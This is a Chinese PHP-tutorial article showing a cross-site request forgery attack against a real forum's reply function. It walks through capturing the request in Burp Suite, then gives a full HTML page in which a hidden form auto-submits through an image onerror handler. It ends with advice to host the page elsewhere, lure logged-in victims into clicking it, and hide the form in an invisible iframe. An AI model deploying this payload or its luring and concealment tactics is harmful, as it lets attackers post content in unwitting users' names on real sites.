来源：自学PHP网 时间：2015-04-17 12:00 作者： 阅读:次
[导读] Web服务器对发送来的请求没有验证来源，就很容易出现csrf攻击。csrf的相关介绍见易踪网的另一篇文章：www.2cto.com/Article/201209/156432.html，由于目标网站没有对发送到服务器的请求做来源验...
|
Web服务器对发送来的请求没有验证来源，就很容易出现csrf攻击。csrf的相关介绍见易踪网的另一篇文章：www.2cto.com/Article/201209/156432.html，由于目标网站没有对发送到服务器的请求做来源验证，因此存在漏洞。攻击者可以冒充登录用户发贴，留言等一些操作。
首先我们正常登录目标网站，打开burp suite的代理（有关burp suite参见易踪网文章：http://www.2cto.com/Article/201209/155614.html）。再次进入浏览器，编辑留言，发出。burp suite截取到post数据包，进行查看。如截图：  查看其中post的相关参数，包含用户cookie和发贴的内容信息，没有加入tokenid和refferer验证，这样一般就可能存在csrf的漏洞。 手动编写一个html，内含form表单，表单中含有hupu网发贴需要的信息。html文件如下： <!DOCTYPE html><!–STATUS OK–> <html> <head> <meta http-equiv=”X-UA-Compatible”content=”IE=7″> <meta http-equiv=”content-type”content=”text/html;charset=utf-8″> </head> <body> <form method=”POST”name=”transfer”id=”333″action=”http:// www.2cto.com /post.php”> //修改成目标地址 <input type=”hidden”name=”atc_content”value=”%BA%DC%BA%C3%B5%C4%D2%BB%C6%AC%CE%C4%D5%C2%A1%A3″> <input type=”hidden”name=”usevote”value=”0″> <input type=”hidden”name=”douid”value=”1″> <input type=”hidden” name=”votetype” value=”bbs”> <input type=”hidden” name=”votetitle” value=”"> <input type=”hidden” name=”votename%5B%5D” value=”"> <input type=”hidden” name=”votename%5B%5D” value=”"> <input type=”hidden” name=”votename%5B%5D” value=”"> <input type=”hidden”name=”editnum”value=”3″> <input type=”hidden”name=”nowitnum”value=”3″> <input type=”hidden” name=”voteclass” value=”"> <input type=”hidden”name=”postfast”value=”2″> <input type=”hidden” name=”atc_title” value=”Re%3A%BF%C6%B1%C8%CA%C7%CF%D6%D2%DB%D6%D0%C0%FA%CA%B7%B5%D8%CE%BB%D7%EE%B8%DF%B5%C4%C2%F0%3F”> <input type=”hidden”name=”atc_usesign”value=”1″> <input type=”hidden”name=”atc_convert”value=”1″> <input type=”hidden”name=”atc_autourl”value=”1″> <input type=”hidden”name=”step”value=”2″> <input type=”hidden” name=”action” value=”reply”> <input type=”hidden”name=”fid”value=”1048″> <input type=”hidden”name=”tid”value=”4335054″> <input type=”hidden” name=”subject” value=”%BF%C6%B1%C8%CA%C7%CF%D6%D2%DB%D6%D0%C0%FA%CA%B7%B5%D8%CE%BB%D7%EE%B8%DF%B5%C4%C2%F0%3F”> <input type=”hidden”name=”editor”value=”0″> <input type=”hidden” name=”atc_attachment” value=”none”> <input type=”hidden” name=”replayofpage” value=”"> <input type=”hidden”name=”replaymeta”value=”1″> </form> <script type=”text/javascript”> function stealpage() { document.getElementById(“333″).submit(); } </script> <img src=”123″onerror=”javascript:stealpage()”> </body> </html> 其后，把我们的html上传到第三方服务器，把该html的url发布在目标网上或者直接向被攻击者发送url，诱使点击。只要被攻击者登录了目标网站，又点击了该链接，被攻击者的浏览器就会附带上自己的cookie和html中的form表单向目标网站发起post请求，由于服务器没有校验发起方的身份，请求被认为是合法的（因为请求中包含了被攻击者的cookie），提交成功。 为了隐蔽，编写html时可以将form表单编写在一个不可见的iframe中，这样被攻击者就感觉不到攻击的存在了 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
